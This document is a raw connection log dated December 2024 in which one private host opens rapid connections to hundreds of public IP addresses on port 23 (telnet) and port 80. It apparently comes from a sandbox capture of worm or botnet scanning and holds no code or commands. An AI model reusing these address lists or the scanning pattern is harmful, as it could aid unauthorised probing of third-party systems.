Dec 3, 2024 22:02:08.314018965 CET	39808	23	192.168.2.14	40.235.153.75
Dec 3, 2024 22:02:08.314049959 CET	23	39808	35.109.140.61	192.168.2.14
Dec 3, 2024 22:02:08.314097881 CET	23	39808	204.47.89.247	192.168.2.14
Dec 3, 2024 22:02:08.314116001 CET	39808	23	192.168.2.14	35.109.140.61
Dec 3, 2024 22:02:08.314132929 CET	23	39808	105.206.190.91	192.168.2.14
Dec 3, 2024 22:02:08.314142942 CET	39808	23	192.168.2.14	204.47.89.247
Dec 3, 2024 22:02:08.314168930 CET	39808	23	192.168.2.14	105.206.190.91
Dec 3, 2024 22:02:08.314174891 CET	23	39808	18.196.24.16	192.168.2.14
Dec 3, 2024 22:02:08.314218998 CET	23	39808	151.10.113.141	192.168.2.14
Dec 3, 2024 22:02:08.314239979 CET	39808	23	192.168.2.14	18.196.24.16
Dec 3, 2024 22:02:08.314251900 CET	39808	23	192.168.2.14	151.10.113.141
Dec 3, 2024 22:02:08.314279079 CET	23	39808	220.146.52.34	192.168.2.14
Dec 3, 2024 22:02:08.314284086 CET	23	39808	37.235.95.122	192.168.2.14
Dec 3, 2024 22:02:08.314323902 CET	39808	23	192.168.2.14	220.146.52.34
Dec 3, 2024 22:02:08.314323902 CET	39808	23	192.168.2.14	37.235.95.122
Dec 3, 2024 22:02:08.314342022 CET	23	39808	137.121.32.250	192.168.2.14
Dec 3, 2024 22:02:08.314349890 CET	23	39808	99.133.31.233	192.168.2.14
Dec 3, 2024 22:02:08.314364910 CET	23	39808	71.186.116.33	192.168.2.14
Dec 3, 2024 22:02:08.314371109 CET	23	39808	24.178.91.105	192.168.2.14
Dec 3, 2024 22:02:08.314392090 CET	39808	23	192.168.2.14	137.121.32.250
Dec 3, 2024 22:02:08.314392090 CET	39808	23	192.168.2.14	99.133.31.233
Dec 3, 2024 22:02:08.314413071 CET	39808	23	192.168.2.14	24.178.91.105
Dec 3, 2024 22:02:08.314424992 CET	39808	23	192.168.2.14	71.186.116.33
Dec 3, 2024 22:02:08.314436913 CET	23	39808	135.73.175.235	192.168.2.14
Dec 3, 2024 22:02:08.314443111 CET	23	39808	174.161.2.242	192.168.2.14
Dec 3, 2024 22:02:08.314476967 CET	39808	23	192.168.2.14	174.161.2.242
Dec 3, 2024 22:02:08.314496994 CET	23	39808	176.242.164.249	192.168.2.14
Dec 3, 2024 22:02:08.314559937 CET	23	39808	106.75.115.200	192.168.2.14
Dec 3, 2024 22:02:08.314562082 CET	39808	23	192.168.2.14	135.73.175.235
Dec 3, 2024 22:02:08.314564943 CET	23	39808	160.7.127.6	192.168.2.14
Dec 3, 2024 22:02:08.314574957 CET	23	39808	152.197.136.216	192.168.2.14
Dec 3, 2024 22:02:08.314579964 CET	23	39808	85.143.48.12	192.168.2.14
Dec 3, 2024 22:02:08.314584970 CET	23	39808	156.144.5.88	192.168.2.14
Dec 3, 2024 22:02:08.314588070 CET	39808	23	192.168.2.14	176.242.164.249
Dec 3, 2024 22:02:08.314600945 CET	39808	23	192.168.2.14	160.7.127.6
Dec 3, 2024 22:02:08.314600945 CET	39808	23	192.168.2.14	106.75.115.200
Dec 3, 2024 22:02:08.314600945 CET	39808	23	192.168.2.14	85.143.48.12
Dec 3, 2024 22:02:08.314600945 CET	39808	23	192.168.2.14	152.197.136.216
Dec 3, 2024 22:02:08.314608097 CET	39808	23	192.168.2.14	156.144.5.88
Dec 3, 2024 22:02:08.315433979 CET	23	39808	158.67.181.17	192.168.2.14
Dec 3, 2024 22:02:08.315442085 CET	23	39808	177.204.20.45	192.168.2.14
Dec 3, 2024 22:02:08.315464973 CET	23	39808	122.236.188.252	192.168.2.14
Dec 3, 2024 22:02:08.315470934 CET	23	39808	123.227.142.137	192.168.2.14
Dec 3, 2024 22:02:08.315474987 CET	23	39808	135.34.122.35	192.168.2.14
Dec 3, 2024 22:02:08.315479040 CET	23	39808	209.176.118.82	192.168.2.14
Dec 3, 2024 22:02:08.315485954 CET	39808	23	192.168.2.14	122.236.188.252
Dec 3, 2024 22:02:08.315490961 CET	39808	23	192.168.2.14	158.67.181.17
Dec 3, 2024 22:02:08.315485001 CET	39808	23	192.168.2.14	177.204.20.45
Dec 3, 2024 22:02:08.315505028 CET	39808	23	192.168.2.14	135.34.122.35
Dec 3, 2024 22:02:08.315510988 CET	39808	23	192.168.2.14	123.227.142.137
Dec 3, 2024 22:02:08.315517902 CET	39808	23	192.168.2.14	209.176.118.82
Dec 3, 2024 22:02:08.315526009 CET	23	39808	167.213.71.128	192.168.2.14
Dec 3, 2024 22:02:08.315531015 CET	23	39808	89.164.138.217	192.168.2.14
Dec 3, 2024 22:02:08.315541029 CET	23	39808	101.76.26.189	192.168.2.14
Dec 3, 2024 22:02:08.315563917 CET	23	39808	183.197.24.172	192.168.2.14
Dec 3, 2024 22:02:08.315571070 CET	39808	23	192.168.2.14	167.213.71.128
Dec 3, 2024 22:02:08.315576077 CET	23	39808	167.185.107.178	192.168.2.14
Dec 3, 2024 22:02:08.315587997 CET	23	39808	223.212.228.24	192.168.2.14
Dec 3, 2024 22:02:08.315587044 CET	39808	23	192.168.2.14	89.164.138.217
Dec 3, 2024 22:02:08.315587044 CET	39808	23	192.168.2.14	101.76.26.189
Dec 3, 2024 22:02:08.315593004 CET	23	39808	17.135.24.199	192.168.2.14
Dec 3, 2024 22:02:08.315613985 CET	39808	23	192.168.2.14	167.185.107.178
Dec 3, 2024 22:02:08.315618992 CET	39808	23	192.168.2.14	183.197.24.172
Dec 3, 2024 22:02:08.315620899 CET	39808	23	192.168.2.14	223.212.228.24
Dec 3, 2024 22:02:08.315622091 CET	39808	23	192.168.2.14	17.135.24.199
Dec 3, 2024 22:02:08.315679073 CET	23	39808	126.104.62.242	192.168.2.14
Dec 3, 2024 22:02:08.315684080 CET	23	39808	146.221.179.97	192.168.2.14
Dec 3, 2024 22:02:08.315694094 CET	23	39808	102.35.121.247	192.168.2.14
Dec 3, 2024 22:02:08.315699100 CET	23	39808	201.40.87.145	192.168.2.14
Dec 3, 2024 22:02:08.315709114 CET	23	39808	153.134.139.238	192.168.2.14
Dec 3, 2024 22:02:08.315712929 CET	23	39808	192.34.195.169	192.168.2.14
Dec 3, 2024 22:02:08.315717936 CET	23	39808	70.59.25.116	192.168.2.14
Dec 3, 2024 22:02:08.315717936 CET	39808	23	192.168.2.14	126.104.62.242
Dec 3, 2024 22:02:08.315721035 CET	39808	23	192.168.2.14	146.221.179.97
Dec 3, 2024 22:02:08.315721989 CET	23	39808	119.213.207.151	192.168.2.14
Dec 3, 2024 22:02:08.315726995 CET	23	39808	63.221.87.74	192.168.2.14
Dec 3, 2024 22:02:08.315727949 CET	39808	23	192.168.2.14	201.40.87.145
Dec 3, 2024 22:02:08.315727949 CET	39808	23	192.168.2.14	102.35.121.247
Dec 3, 2024 22:02:08.315743923 CET	39808	23	192.168.2.14	153.134.139.238
Dec 3, 2024 22:02:08.315743923 CET	39808	23	192.168.2.14	192.34.195.169
Dec 3, 2024 22:02:08.315743923 CET	39808	23	192.168.2.14	119.213.207.151
Dec 3, 2024 22:02:08.315743923 CET	39808	23	192.168.2.14	70.59.25.116
Dec 3, 2024 22:02:08.315758944 CET	39808	23	192.168.2.14	63.221.87.74
Dec 3, 2024 22:02:08.315853119 CET	23	39808	190.101.53.213	192.168.2.14
Dec 3, 2024 22:02:08.315886974 CET	23	46424	112.225.79.181	192.168.2.14
Dec 3, 2024 22:02:08.315946102 CET	46424	23	192.168.2.14	112.225.79.181
Dec 3, 2024 22:02:08.315946102 CET	39808	23	192.168.2.14	190.101.53.213
Dec 3, 2024 22:02:08.316380978 CET	33310	23	192.168.2.14	170.54.50.234
Dec 3, 2024 22:02:08.317172050 CET	58598	23	192.168.2.14	210.32.68.80
Dec 3, 2024 22:02:08.317816019 CET	55572	23	192.168.2.14	72.213.124.48
Dec 3, 2024 22:02:08.318617105 CET	41642	23	192.168.2.14	64.162.67.243
Dec 3, 2024 22:02:08.319317102 CET	43312	23	192.168.2.14	94.153.142.51
Dec 3, 2024 22:02:08.320070982 CET	44108	23	192.168.2.14	90.22.126.161
Dec 3, 2024 22:02:08.320861101 CET	35440	23	192.168.2.14	20.91.200.172
Dec 3, 2024 22:02:08.321506023 CET	42120	23	192.168.2.14	125.15.86.135
Dec 3, 2024 22:02:08.322163105 CET	46264	23	192.168.2.14	201.18.21.225
Dec 3, 2024 22:02:08.322845936 CET	36380	23	192.168.2.14	99.162.36.32
Dec 3, 2024 22:02:08.323560953 CET	38602	23	192.168.2.14	87.48.97.116
Dec 3, 2024 22:02:08.324326992 CET	39342	23	192.168.2.14	116.128.242.240
Dec 3, 2024 22:02:08.325016975 CET	47202	23	192.168.2.14	58.204.211.161
Dec 3, 2024 22:02:08.325692892 CET	38502	23	192.168.2.14	39.144.96.220
Dec 3, 2024 22:02:08.326558113 CET	45554	23	192.168.2.14	186.173.143.231
Dec 3, 2024 22:02:08.327243090 CET	44938	23	192.168.2.14	173.85.40.15
Dec 3, 2024 22:02:08.327639103 CET	23	48140	90.126.160.225	192.168.2.14
Dec 3, 2024 22:02:08.327678919 CET	48140	23	192.168.2.14	90.126.160.225
Dec 3, 2024 22:02:08.328037024 CET	38900	23	192.168.2.14	117.197.241.222
Dec 3, 2024 22:02:08.328775883 CET	52052	23	192.168.2.14	158.198.190.0
Dec 3, 2024 22:02:08.329493999 CET	36044	23	192.168.2.14	175.196.171.110
Dec 3, 2024 22:02:08.330216885 CET	58462	23	192.168.2.14	138.169.74.145
Dec 3, 2024 22:02:08.330899000 CET	45192	23	192.168.2.14	113.217.196.67
Dec 3, 2024 22:02:08.331590891 CET	35994	23	192.168.2.14	102.101.228.208
Dec 3, 2024 22:02:08.332324028 CET	47256	23	192.168.2.14	108.161.31.74
Dec 3, 2024 22:02:08.333100080 CET	40844	23	192.168.2.14	112.32.138.144
Dec 3, 2024 22:02:08.333729982 CET	36740	23	192.168.2.14	8.238.9.246
Dec 3, 2024 22:02:08.334448099 CET	49374	23	192.168.2.14	195.82.9.76
Dec 3, 2024 22:02:08.335232973 CET	60442	23	192.168.2.14	178.100.72.57
Dec 3, 2024 22:02:08.335367918 CET	23	50286	48.167.240.107	192.168.2.14
Dec 3, 2024 22:02:08.335419893 CET	50286	23	192.168.2.14	48.167.240.107
Dec 3, 2024 22:02:08.336026907 CET	41270	23	192.168.2.14	128.187.42.243
Dec 3, 2024 22:02:08.336760044 CET	49952	23	192.168.2.14	203.209.206.88
Dec 3, 2024 22:02:08.337595940 CET	37796	23	192.168.2.14	77.13.88.103
Dec 3, 2024 22:02:08.338329077 CET	49762	23	192.168.2.14	138.177.240.7
Dec 3, 2024 22:02:08.338934898 CET	34484	23	192.168.2.14	189.37.205.80
Dec 3, 2024 22:02:08.339598894 CET	46878	23	192.168.2.14	20.133.124.244
Dec 3, 2024 22:02:08.340312004 CET	58962	23	192.168.2.14	42.22.11.164
Dec 3, 2024 22:02:08.340987921 CET	58398	23	192.168.2.14	57.102.84.217
Dec 3, 2024 22:02:08.341752052 CET	39990	23	192.168.2.14	146.22.222.244
Dec 3, 2024 22:02:08.342446089 CET	52838	23	192.168.2.14	131.222.34.60
Dec 3, 2024 22:02:08.343130112 CET	60996	23	192.168.2.14	117.192.200.29
Dec 3, 2024 22:02:08.343820095 CET	56862	23	192.168.2.14	40.235.153.75
Dec 3, 2024 22:02:08.344572067 CET	35586	23	192.168.2.14	35.109.140.61
Dec 3, 2024 22:02:08.345244884 CET	59712	23	192.168.2.14	204.47.89.247
Dec 3, 2024 22:02:08.345971107 CET	42000	23	192.168.2.14	105.206.190.91
Dec 3, 2024 22:02:08.346613884 CET	48650	23	192.168.2.14	18.196.24.16
Dec 3, 2024 22:02:08.347418070 CET	41132	23	192.168.2.14	151.10.113.141
Dec 3, 2024 22:02:08.348082066 CET	57414	23	192.168.2.14	220.146.52.34
Dec 3, 2024 22:02:08.348798037 CET	47172	23	192.168.2.14	37.235.95.122
Dec 3, 2024 22:02:08.349469900 CET	51968	23	192.168.2.14	137.121.32.250
Dec 3, 2024 22:02:08.350142002 CET	33580	23	192.168.2.14	99.133.31.233
Dec 3, 2024 22:02:08.350843906 CET	40150	23	192.168.2.14	24.178.91.105
Dec 3, 2024 22:02:08.351535082 CET	47828	23	192.168.2.14	71.186.116.33
Dec 3, 2024 22:02:08.352284908 CET	55200	23	192.168.2.14	174.161.2.242
Dec 3, 2024 22:02:08.352979898 CET	55190	23	192.168.2.14	135.73.175.235
Dec 3, 2024 22:02:08.353107929 CET	80	46526	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:08.353158951 CET	46526	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:08.353240967 CET	46526	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:08.353281021 CET	39296	80	192.168.2.14	95.54.105.137
Dec 3, 2024 22:02:08.353281021 CET	39296	80	192.168.2.14	204.141.226.79
Dec 3, 2024 22:02:08.353298903 CET	39296	80	192.168.2.14	93.229.88.132
Dec 3, 2024 22:02:08.353305101 CET	39296	80	192.168.2.14	50.102.43.134
Dec 3, 2024 22:02:08.353307009 CET	39296	80	192.168.2.14	201.137.74.189
Dec 3, 2024 22:02:08.353307009 CET	39296	80	192.168.2.14	102.27.250.214
Dec 3, 2024 22:02:08.353311062 CET	39296	80	192.168.2.14	174.129.13.160
Dec 3, 2024 22:02:08.353321075 CET	39296	80	192.168.2.14	218.62.28.181
Dec 3, 2024 22:02:08.353322029 CET	39296	80	192.168.2.14	146.4.228.217
Dec 3, 2024 22:02:08.353322983 CET	39296	80	192.168.2.14	73.249.93.125
Dec 3, 2024 22:02:08.353337049 CET	39296	80	192.168.2.14	25.75.7.59
Dec 3, 2024 22:02:08.353337049 CET	39296	80	192.168.2.14	79.156.229.141
Dec 3, 2024 22:02:08.353341103 CET	39296	80	192.168.2.14	132.63.179.190
Dec 3, 2024 22:02:08.353341103 CET	39296	80	192.168.2.14	200.112.23.122
Dec 3, 2024 22:02:08.353349924 CET	39296	80	192.168.2.14	74.2.238.31
Dec 3, 2024 22:02:08.353351116 CET	39296	80	192.168.2.14	116.142.255.164
Dec 3, 2024 22:02:08.353358030 CET	39296	80	192.168.2.14	51.26.89.84
Dec 3, 2024 22:02:08.353363037 CET	39296	80	192.168.2.14	174.99.55.91
Dec 3, 2024 22:02:08.353363037 CET	39296	80	192.168.2.14	64.138.244.145
Dec 3, 2024 22:02:08.353373051 CET	39296	80	192.168.2.14	140.217.26.39
Dec 3, 2024 22:02:08.353373051 CET	39296	80	192.168.2.14	191.84.79.183
Dec 3, 2024 22:02:08.353375912 CET	39296	80	192.168.2.14	186.94.0.166
Dec 3, 2024 22:02:08.353378057 CET	39296	80	192.168.2.14	158.49.0.254
Dec 3, 2024 22:02:08.353399038 CET	39296	80	192.168.2.14	184.18.83.159
Dec 3, 2024 22:02:08.353399992 CET	39296	80	192.168.2.14	68.106.237.187
Dec 3, 2024 22:02:08.353399992 CET	39296	80	192.168.2.14	209.219.194.147
Dec 3, 2024 22:02:08.353399992 CET	39296	80	192.168.2.14	50.107.132.7
Dec 3, 2024 22:02:08.353399992 CET	39296	80	192.168.2.14	40.217.173.242
Dec 3, 2024 22:02:08.353399992 CET	39296	80	192.168.2.14	179.186.145.187
Dec 3, 2024 22:02:08.353405952 CET	39296	80	192.168.2.14	187.35.60.107
Dec 3, 2024 22:02:08.353410006 CET	39296	80	192.168.2.14	75.240.52.106
Dec 3, 2024 22:02:08.353415012 CET	39296	80	192.168.2.14	183.49.247.161
Dec 3, 2024 22:02:08.353423119 CET	39296	80	192.168.2.14	64.131.190.169
Dec 3, 2024 22:02:08.353441000 CET	39296	80	192.168.2.14	221.135.75.19
Dec 3, 2024 22:02:08.353441954 CET	39296	80	192.168.2.14	115.79.134.188
Dec 3, 2024 22:02:08.353444099 CET	39296	80	192.168.2.14	73.124.156.207
Dec 3, 2024 22:02:08.353444099 CET	39296	80	192.168.2.14	190.104.129.91
Dec 3, 2024 22:02:08.353452921 CET	39296	80	192.168.2.14	169.226.241.76
Dec 3, 2024 22:02:08.353458881 CET	39296	80	192.168.2.14	154.80.74.109
Dec 3, 2024 22:02:08.353462934 CET	39296	80	192.168.2.14	66.48.149.211
Dec 3, 2024 22:02:08.353471041 CET	39296	80	192.168.2.14	173.203.78.159
Dec 3, 2024 22:02:08.353471041 CET	39296	80	192.168.2.14	154.62.87.214
Dec 3, 2024 22:02:08.353473902 CET	39296	80	192.168.2.14	150.1.78.102
Dec 3, 2024 22:02:08.353477001 CET	39296	80	192.168.2.14	14.2.3.248
Dec 3, 2024 22:02:08.353497028 CET	39296	80	192.168.2.14	71.39.21.147
Dec 3, 2024 22:02:08.353497028 CET	39296	80	192.168.2.14	190.170.24.219
Dec 3, 2024 22:02:08.353502989 CET	39296	80	192.168.2.14	194.222.195.154
Dec 3, 2024 22:02:08.353513956 CET	39296	80	192.168.2.14	48.36.16.5
Dec 3, 2024 22:02:08.353530884 CET	39296	80	192.168.2.14	20.101.205.63
Dec 3, 2024 22:02:08.353530884 CET	39296	80	192.168.2.14	91.48.155.123
Dec 3, 2024 22:02:08.353532076 CET	39296	80	192.168.2.14	91.75.61.0
Dec 3, 2024 22:02:08.353530884 CET	39296	80	192.168.2.14	102.190.243.40
Dec 3, 2024 22:02:08.353532076 CET	39296	80	192.168.2.14	97.109.185.61
Dec 3, 2024 22:02:08.353537083 CET	39296	80	192.168.2.14	13.13.169.14
Dec 3, 2024 22:02:08.353537083 CET	39296	80	192.168.2.14	179.213.97.147
Dec 3, 2024 22:02:08.353550911 CET	39296	80	192.168.2.14	110.180.91.20
Dec 3, 2024 22:02:08.353550911 CET	39296	80	192.168.2.14	177.137.3.15
Dec 3, 2024 22:02:08.353554964 CET	39296	80	192.168.2.14	122.3.159.133
Dec 3, 2024 22:02:08.353554964 CET	39296	80	192.168.2.14	189.191.103.160
Dec 3, 2024 22:02:08.353555918 CET	39296	80	192.168.2.14	186.187.119.109
Dec 3, 2024 22:02:08.353558064 CET	39296	80	192.168.2.14	53.123.76.84
Dec 3, 2024 22:02:08.353575945 CET	39296	80	192.168.2.14	180.210.252.26
Dec 3, 2024 22:02:08.353576899 CET	39296	80	192.168.2.14	113.236.19.75
Dec 3, 2024 22:02:08.353588104 CET	39296	80	192.168.2.14	31.60.73.185
Dec 3, 2024 22:02:08.353588104 CET	39296	80	192.168.2.14	188.155.250.7
Dec 3, 2024 22:02:08.353600025 CET	39296	80	192.168.2.14	179.218.133.83
Dec 3, 2024 22:02:08.353612900 CET	39296	80	192.168.2.14	88.180.212.156
Dec 3, 2024 22:02:08.353624105 CET	39296	80	192.168.2.14	1.51.122.134
Dec 3, 2024 22:02:08.353624105 CET	39296	80	192.168.2.14	207.152.11.41
Dec 3, 2024 22:02:08.353625059 CET	39296	80	192.168.2.14	197.125.139.116
Dec 3, 2024 22:02:08.353624105 CET	39296	80	192.168.2.14	144.65.214.192
Dec 3, 2024 22:02:08.353625059 CET	39296	80	192.168.2.14	150.12.126.104
Dec 3, 2024 22:02:08.353625059 CET	39296	80	192.168.2.14	169.215.211.88
Dec 3, 2024 22:02:08.353631973 CET	39296	80	192.168.2.14	18.252.81.98
Dec 3, 2024 22:02:08.353636026 CET	39296	80	192.168.2.14	100.133.40.77
Dec 3, 2024 22:02:08.353636026 CET	39296	80	192.168.2.14	111.240.247.155
Dec 3, 2024 22:02:08.353637934 CET	39296	80	192.168.2.14	54.245.79.155
Dec 3, 2024 22:02:08.353637934 CET	39296	80	192.168.2.14	42.73.44.104
Dec 3, 2024 22:02:08.353637934 CET	39296	80	192.168.2.14	199.140.253.194
Dec 3, 2024 22:02:08.353638887 CET	39296	80	192.168.2.14	45.156.140.178
Dec 3, 2024 22:02:08.353638887 CET	39296	80	192.168.2.14	82.4.153.51
Dec 3, 2024 22:02:08.353643894 CET	39296	80	192.168.2.14	110.68.118.166
Dec 3, 2024 22:02:08.353643894 CET	39296	80	192.168.2.14	37.122.229.52
Dec 3, 2024 22:02:08.353663921 CET	39296	80	192.168.2.14	94.168.13.117
Dec 3, 2024 22:02:08.353663921 CET	39296	80	192.168.2.14	176.23.62.53
Dec 3, 2024 22:02:08.353676081 CET	39296	80	192.168.2.14	89.78.34.45
Dec 3, 2024 22:02:08.353682041 CET	39296	80	192.168.2.14	53.90.144.60
Dec 3, 2024 22:02:08.353688955 CET	39296	80	192.168.2.14	129.167.84.105
Dec 3, 2024 22:02:08.353688955 CET	39296	80	192.168.2.14	154.63.46.201
Dec 3, 2024 22:02:08.353688955 CET	39296	80	192.168.2.14	114.26.254.125
Dec 3, 2024 22:02:08.353692055 CET	39296	80	192.168.2.14	76.228.121.151
Dec 3, 2024 22:02:08.353704929 CET	39296	80	192.168.2.14	23.177.212.126
Dec 3, 2024 22:02:08.353705883 CET	39296	80	192.168.2.14	143.244.223.61
Dec 3, 2024 22:02:08.353705883 CET	39296	80	192.168.2.14	124.155.59.181
Dec 3, 2024 22:02:08.353705883 CET	39296	80	192.168.2.14	20.24.69.18
Dec 3, 2024 22:02:08.353712082 CET	39296	80	192.168.2.14	200.88.229.243
Dec 3, 2024 22:02:08.353713989 CET	39296	80	192.168.2.14	76.243.200.0
Dec 3, 2024 22:02:08.353724003 CET	39296	80	192.168.2.14	60.210.136.117
Dec 3, 2024 22:02:08.353724003 CET	39296	80	192.168.2.14	146.76.6.240
Dec 3, 2024 22:02:08.353728056 CET	39296	80	192.168.2.14	170.67.38.233
Dec 3, 2024 22:02:08.353734016 CET	39296	80	192.168.2.14	193.244.100.84
Dec 3, 2024 22:02:08.353744984 CET	39296	80	192.168.2.14	97.116.2.219
Dec 3, 2024 22:02:08.353744984 CET	39296	80	192.168.2.14	81.39.243.8
Dec 3, 2024 22:02:08.353765011 CET	39296	80	192.168.2.14	186.0.127.207
Dec 3, 2024 22:02:08.353765011 CET	39296	80	192.168.2.14	5.175.190.53
Dec 3, 2024 22:02:08.353770971 CET	39296	80	192.168.2.14	165.161.39.225
Dec 3, 2024 22:02:08.353773117 CET	39296	80	192.168.2.14	118.34.231.187
Dec 3, 2024 22:02:08.353775024 CET	39296	80	192.168.2.14	96.121.62.73
Dec 3, 2024 22:02:08.353800058 CET	39296	80	192.168.2.14	206.114.94.4
Dec 3, 2024 22:02:08.353804111 CET	39296	80	192.168.2.14	195.46.240.53
Dec 3, 2024 22:02:08.353804111 CET	39296	80	192.168.2.14	135.49.56.194
Dec 3, 2024 22:02:08.353818893 CET	39296	80	192.168.2.14	36.87.227.92
Dec 3, 2024 22:02:08.353818893 CET	39296	80	192.168.2.14	20.43.73.68
Dec 3, 2024 22:02:08.353818893 CET	39296	80	192.168.2.14	116.242.171.101
Dec 3, 2024 22:02:08.353818893 CET	39296	80	192.168.2.14	20.71.203.51
Dec 3, 2024 22:02:08.353818893 CET	39296	80	192.168.2.14	220.254.187.77
Dec 3, 2024 22:02:08.353821993 CET	39296	80	192.168.2.14	123.76.203.72
Dec 3, 2024 22:02:08.353827000 CET	39296	80	192.168.2.14	90.36.151.59
Dec 3, 2024 22:02:08.353837013 CET	39296	80	192.168.2.14	183.227.161.37
Dec 3, 2024 22:02:08.353856087 CET	39296	80	192.168.2.14	139.235.209.174
Dec 3, 2024 22:02:08.353866100 CET	39296	80	192.168.2.14	118.87.70.240
Dec 3, 2024 22:02:08.353866100 CET	39296	80	192.168.2.14	137.182.236.172
Dec 3, 2024 22:02:08.353868961 CET	39296	80	192.168.2.14	36.193.116.150
Dec 3, 2024 22:02:08.353868961 CET	39296	80	192.168.2.14	70.186.246.109
Dec 3, 2024 22:02:08.353882074 CET	39296	80	192.168.2.14	222.38.32.236
Dec 3, 2024 22:02:08.353882074 CET	39296	80	192.168.2.14	202.22.227.209
Dec 3, 2024 22:02:08.353888035 CET	39296	80	192.168.2.14	12.159.126.102
Dec 3, 2024 22:02:08.353888035 CET	39296	80	192.168.2.14	14.221.14.149
Dec 3, 2024 22:02:08.353907108 CET	39296	80	192.168.2.14	208.112.56.14
Dec 3, 2024 22:02:08.353907108 CET	39296	80	192.168.2.14	175.52.102.86
Dec 3, 2024 22:02:08.353910923 CET	39296	80	192.168.2.14	131.182.16.103
Dec 3, 2024 22:02:08.353910923 CET	39296	80	192.168.2.14	153.238.203.249
Dec 3, 2024 22:02:08.353913069 CET	39296	80	192.168.2.14	121.107.52.174
Dec 3, 2024 22:02:08.353924990 CET	39296	80	192.168.2.14	144.235.154.186
Dec 3, 2024 22:02:08.353933096 CET	39296	80	192.168.2.14	170.79.236.115
Dec 3, 2024 22:02:08.353935003 CET	39296	80	192.168.2.14	177.113.156.25
Dec 3, 2024 22:02:08.353938103 CET	39296	80	192.168.2.14	189.0.68.104
Dec 3, 2024 22:02:08.353938103 CET	39296	80	192.168.2.14	153.153.118.41
Dec 3, 2024 22:02:08.353944063 CET	39296	80	192.168.2.14	154.15.97.44
Dec 3, 2024 22:02:08.353948116 CET	39296	80	192.168.2.14	46.130.90.184
Dec 3, 2024 22:02:08.353960037 CET	39296	80	192.168.2.14	149.234.67.207
Dec 3, 2024 22:02:08.353961945 CET	39296	80	192.168.2.14	103.25.59.82
Dec 3, 2024 22:02:08.353976011 CET	39296	80	192.168.2.14	76.211.162.4
Dec 3, 2024 22:02:08.353980064 CET	39296	80	192.168.2.14	106.89.36.85
Dec 3, 2024 22:02:08.353980064 CET	39296	80	192.168.2.14	169.108.115.191
Dec 3, 2024 22:02:08.353991032 CET	39296	80	192.168.2.14	52.75.211.241
Dec 3, 2024 22:02:08.353992939 CET	39296	80	192.168.2.14	219.228.0.227
Dec 3, 2024 22:02:08.353996038 CET	39296	80	192.168.2.14	121.227.98.203
Dec 3, 2024 22:02:08.354000092 CET	39296	80	192.168.2.14	37.79.221.91
Dec 3, 2024 22:02:08.354011059 CET	39296	80	192.168.2.14	156.135.35.66
Dec 3, 2024 22:02:08.354017019 CET	39296	80	192.168.2.14	118.26.242.59
Dec 3, 2024 22:02:08.354017019 CET	39296	80	192.168.2.14	31.210.5.180
Dec 3, 2024 22:02:08.354027987 CET	39296	80	192.168.2.14	219.79.63.245
Dec 3, 2024 22:02:08.354039907 CET	39296	80	192.168.2.14	217.136.244.1
Dec 3, 2024 22:02:08.354044914 CET	39296	80	192.168.2.14	206.53.56.88
Dec 3, 2024 22:02:08.354048014 CET	39296	80	192.168.2.14	42.250.189.176
Dec 3, 2024 22:02:08.354053974 CET	39296	80	192.168.2.14	129.214.78.62
Dec 3, 2024 22:02:08.354065895 CET	39296	80	192.168.2.14	169.206.136.16
Dec 3, 2024 22:02:08.354069948 CET	39296	80	192.168.2.14	118.90.221.206
Dec 3, 2024 22:02:08.354069948 CET	39296	80	192.168.2.14	67.16.75.94
Dec 3, 2024 22:02:08.354077101 CET	39296	80	192.168.2.14	168.253.97.142
Dec 3, 2024 22:02:08.354088068 CET	39296	80	192.168.2.14	209.61.205.224
Dec 3, 2024 22:02:08.354094028 CET	39296	80	192.168.2.14	158.146.80.89
Dec 3, 2024 22:02:08.354100943 CET	39296	80	192.168.2.14	141.254.141.201
Dec 3, 2024 22:02:08.354103088 CET	39296	80	192.168.2.14	27.15.179.211
Dec 3, 2024 22:02:08.354109049 CET	39296	80	192.168.2.14	151.214.224.146
Dec 3, 2024 22:02:08.354113102 CET	39296	80	192.168.2.14	41.247.174.90
Dec 3, 2024 22:02:08.354118109 CET	39296	80	192.168.2.14	104.147.64.141
Dec 3, 2024 22:02:08.354129076 CET	39296	80	192.168.2.14	149.166.139.21
Dec 3, 2024 22:02:08.354136944 CET	39296	80	192.168.2.14	179.242.61.188
Dec 3, 2024 22:02:08.354137897 CET	39296	80	192.168.2.14	207.255.147.133
Dec 3, 2024 22:02:08.354144096 CET	39296	80	192.168.2.14	63.106.168.156
Dec 3, 2024 22:02:08.354147911 CET	39296	80	192.168.2.14	223.186.68.228
Dec 3, 2024 22:02:08.354160070 CET	39296	80	192.168.2.14	140.194.183.65
Dec 3, 2024 22:02:08.354173899 CET	39296	80	192.168.2.14	150.227.27.173
Dec 3, 2024 22:02:08.354177952 CET	39296	80	192.168.2.14	66.114.89.95
Dec 3, 2024 22:02:08.354178905 CET	39296	80	192.168.2.14	83.72.236.64
Dec 3, 2024 22:02:08.354187965 CET	39296	80	192.168.2.14	153.177.189.0
Dec 3, 2024 22:02:08.354187965 CET	39296	80	192.168.2.14	92.216.127.181
Dec 3, 2024 22:02:08.354193926 CET	39296	80	192.168.2.14	111.187.242.49
Dec 3, 2024 22:02:08.354201078 CET	39296	80	192.168.2.14	142.28.118.181
Dec 3, 2024 22:02:08.354214907 CET	39296	80	192.168.2.14	75.184.223.57
Dec 3, 2024 22:02:08.354226112 CET	39296	80	192.168.2.14	13.26.19.81
Dec 3, 2024 22:02:08.354234934 CET	39296	80	192.168.2.14	45.183.129.27
Dec 3, 2024 22:02:08.354235888 CET	39296	80	192.168.2.14	150.213.17.156
Dec 3, 2024 22:02:08.354235888 CET	39296	80	192.168.2.14	134.171.44.230
Dec 3, 2024 22:02:08.354245901 CET	39296	80	192.168.2.14	191.109.134.237
Dec 3, 2024 22:02:08.354253054 CET	39296	80	192.168.2.14	205.60.122.195
Dec 3, 2024 22:02:08.354254961 CET	39296	80	192.168.2.14	47.176.43.49
Dec 3, 2024 22:02:08.354264021 CET	39296	80	192.168.2.14	108.189.116.19
Dec 3, 2024 22:02:08.354264975 CET	39296	80	192.168.2.14	90.182.168.73
Dec 3, 2024 22:02:08.354270935 CET	39296	80	192.168.2.14	168.232.88.168
Dec 3, 2024 22:02:08.354270935 CET	39296	80	192.168.2.14	174.159.7.211
Dec 3, 2024 22:02:08.354283094 CET	39296	80	192.168.2.14	97.85.178.71
